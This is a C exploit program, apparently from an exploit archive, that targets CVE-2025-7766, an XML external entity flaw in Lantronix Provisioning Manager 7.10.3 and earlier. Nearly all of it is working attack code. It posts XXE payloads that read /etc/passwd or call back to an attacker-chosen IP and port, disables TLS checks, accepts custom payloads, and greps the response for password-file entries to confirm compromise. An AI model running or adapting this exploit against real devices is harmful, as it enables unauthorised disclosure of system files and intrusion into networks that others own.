/* * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE) * Google Dork: N/A * Date: 2025-08-17 * Exploit Author: Byte Reaper * Vendor Homepage: https://www.lantronix.com/ * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/ * Version: Provisioning Manager ≤ 7.10.3 * Tested on: Kali Linux * CVE: CVE-2025-7766 */ #include<stdio.h> #include<string.h> #include"argparse.h" #include<curl/curl.h> #include<stdlib.h> #include<unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #define FULL_URL 3000 #define SIZE_PAYLOAD 4000 const char *yourIp = NULL; const char *url = NULL ; int yourPort = 0; int selecetCookie = 0; int verbose = 0; int loop = 0; int selectPayload = 0; const char *yourPayload = NULL; char full[FULL_URL]; int requestPayload = 0; const char *cookies = NULL; void exitSyscall() { __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void xmlPost(const char *fullUrl, const char *yourIp, int yourPort) { char payload[SIZE_PAYLOAD]; struct Mem response = { NULL, 0 }; if (selectPayload) { int s = snprintf(payload,sizeof(payload),yourPayload); if (s < 0 || s >= sizeof(payload)) { printf("\e[1;31m[-] Check len payload (yourPayload >= Size Payload) !\e[0m\n"); exitSyscall(); } } if (requestPayload) { printf("\e[1;37m[+] Payload Select : Send Request Payload\e[0m\n"); printf("\e[1;34m[+] Please Check Server (python server, apache...)\e[0m\n"); const char *payloadR = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"http://%s:%d/xxe.test\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort); if (r < 0 || r >= sizeof(payload)) { printf("\e[1;31m[-] Error building payloadR\n"); exitSyscall(); } } else { printf("\e[1;37m[+] Payload Select : Read File : /etc/passwd !\e[0m\n"); const char *autoPayload = "<?xml version=\"1.0\"?>\n" "<!DOCTYPE doc [\n" " <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" "]>\n" "<config>\n" " <doc>&xxe;</doc>\n" "</config>\n" ; snprintf(payload, sizeof(payload), autoPayload); } CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n"); exitSyscall(); } response.buffer = NULL; response.len = 0; if (verbose) { printf("\e[1;35m==========================================\e[0m\n"); printf("[+] Cleaning Response...\n"); printf("[+] Response Buffer : %s\n", response.buffer); printf("[+] Response Len : %zu\n", response.len); printf("\e[1;35m==========================================\e[0m\n"); } CURLcode res; if (curl) { curl_easy_setopt(curl, CURLOPT_URL, fullUrl); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, strlen(payload)); if (selecetCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); sleep(1); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Referer: http://example.com"); headers =curl_slist_append(headers, "Content-Type: application/xml"); double totalTime; res = curl_easy_perform(curl); if (res == CURLE_OK) { curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &totalTime); printf("\e[1;32m[+] Delayed response : %f\n", totalTime ); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;34m[+] Full URl : %s\e[0m\n", full); if (verbose) { printf("\e[1;35m---------------------------[Payload Data]---------------------------\e[0m\n"); printf("[+] Post data : %s\n", payload); printf("\e[1;35m-----------------------------------------------------------------\e[0m\n"); } long httpCode= 0 ; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\e[0m\n"); printf("\e[1;34m[+] Please Check Reverse Shell Connection (port -> %d)\e[0m\n", yourPort); printf("[+] Http Code (200 < 300) !\e[0m\n"); printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;35m====================================[Response]====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\e[0m\n\n"); const char *keywords[] = { "root:x:0:0", ":/bin/bash", ":/home/", "daemon:x:", "nobody:x:", ":x:1000:", "/usr/sbin/nologin", "sys:x:", "bin:x:", "mail:x:" }; printf("\e[1;34m[+] Check keyword On Response...\e[0m\n"); int numberKeyword = sizeof(keywords) / sizeof(keywords[0]); int found = 0; for (int f = 0; f < numberKeyword; f++) { if (strstr(response.buffer,keywords[f]) != NULL) { printf("\e[1;33m[+] Keyword Found In response : %s\e[0m\n", keywords[f]); found = 1; } else { found = 0; } } if (found) { printf("\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\e[0m\n"); } else { printf("\e[1;31m[-] Not Found Keyword In Response !\e[0m\n"); } } else { printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode); printf("\e[1;31m[-] Please Check Url (%s)!\e[0m\n", fullUrl); if (verbose) { printf("\e[1;35m====================================[Response]====================================\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===================================================================================\n\n"); } } curl_slist_free_all(headers); curl_easy_cleanup(curl); } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); if (verbose) { printf("\e[1;31m[-] Exit Syscall ...\e[0m\n"); } curl_slist_free_all(headers); curl_easy_cleanup(curl); exitSyscall(); } } if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf ( "\e[1;91m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖\n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▖▙▖\n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▙▌▙▌\n" "\e[1;97m\t Byte Reaper\e[0m\n" ); printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Target Url (full url)"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_STRING('i', "ip", &yourIp, "Enter Your IP (Send Requst, Localhost ip...)"), OPT_INTEGER('p', "port", &yourPort, "Enter Number Port (Http Request,Check Vuln...)"), OPT_INTEGER('l', "loop", &loop, "Number of times you send requests"), OPT_STRING('b', "payload", &yourPayload, "Enter Your Payload"), OPT_BOOLEAN('r', "request", &requestPayload, "Payload Send Request in Your Server "), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url || !yourIp || yourPort == 0) { printf("\e[1;31m[-] Please Enter Target Url ,Your ip, port!\e[0m\n"); printf("\e[1;31m[-] Ex : ./exploit -u https://ip:port/path -i IP -p PORT\e[0m\n"); printf("\e[1;31m[-] Exit syscall...\e[0m\n"); exitSyscall(); } strncpy(full, url, FULL_URL - 1); full[FULL_URL - 1] = '\0'; in_addr_t value = inet_addr(yourIp); if (value == INADDR_NONE) { printf("\e[1;31m[-] Invalid Ip String !\e[0m\n"); exitSyscall(); } if (yourPort < 1 || yourPort > 65535) { printf("\e[1;31m[-] Invalid Port, Exit...\e[0m\n"); exitSyscall(); } if (strncmp(full, "http://", 7) != 0 && strncmp(full, "https://", 8) != 0) { printf("\e[1;31m[-] Invalid URL! Must start with http:// or https://\e[0m\n"); exitSyscall(); } if (verbose) { verbose = 1; } if (cookies) { selecetCookie = 1; } if (requestPayload) { requestPayload = 1; } if (loop) { printf("\e[1;36m[+] Argument --loop Run ...\e[0m\n"); printf("\e[1;36m[+] Number Loop : %d\e[0m\n", loop); printf("------------------------------------------------------\n"); for (int o = 0; o < loop ; o++) { printf("[%d]: \n", o); xmlPost(full, yourIp,yourPort); printf("------------------------------------------------------\n"); } } if (yourPayload) { selectPayload = 1; } else { xmlPost(full, yourIp,yourPort); } return 0; }